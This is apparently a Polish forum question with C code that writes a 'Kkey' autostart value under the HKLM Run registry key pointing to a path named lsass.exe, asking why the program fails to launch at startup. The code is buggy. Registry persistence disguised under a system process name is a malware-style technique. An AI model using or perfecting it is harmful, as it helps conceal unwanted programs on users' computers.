ześć mam oto taki kod:
...To jest w "int main(void)"
int test,create;
test=test_key();
if (test==2) // Create key.
{
char *path="C:\\WINDOWS\\system32\\lsass.exe";
create=create_key(path);
}
Kolejna część:
int test_key(void)
{
int check;
HKEY hKey;
char path[BUFSIZE];
DWORD buf_length=BUFSIZE;
int reg_key;
reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
if(reg_key!=0)
{
check=1;
return check;
}
reg_key=RegQueryValueEx(hKey,"Kkey",NULL,NULL,(LPBYTE)path,&buf_length);
if((reg_key!=0)||(buf_length>BUFSIZE))
{
check=2;
}
if(reg_key==0)
{
check=0;
RegCloseKey(hKey);
}
}
int create_key(char *path)
{
int reg_key,check;
HKEY hkey;
reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
if(reg_key==0)
{
RegSetValueEx((HKEY)hkey,"Kkey",0,REG_SZ,(BYTE *)path,strlen(path));
{
check=0;
}
return check;
}
if(reg_key!=0)
{
check=1;
}
return check;
}
Tylko problem jest w tym, że program nie uruchamia się przy starcie. Jakieś porady? Dzięki.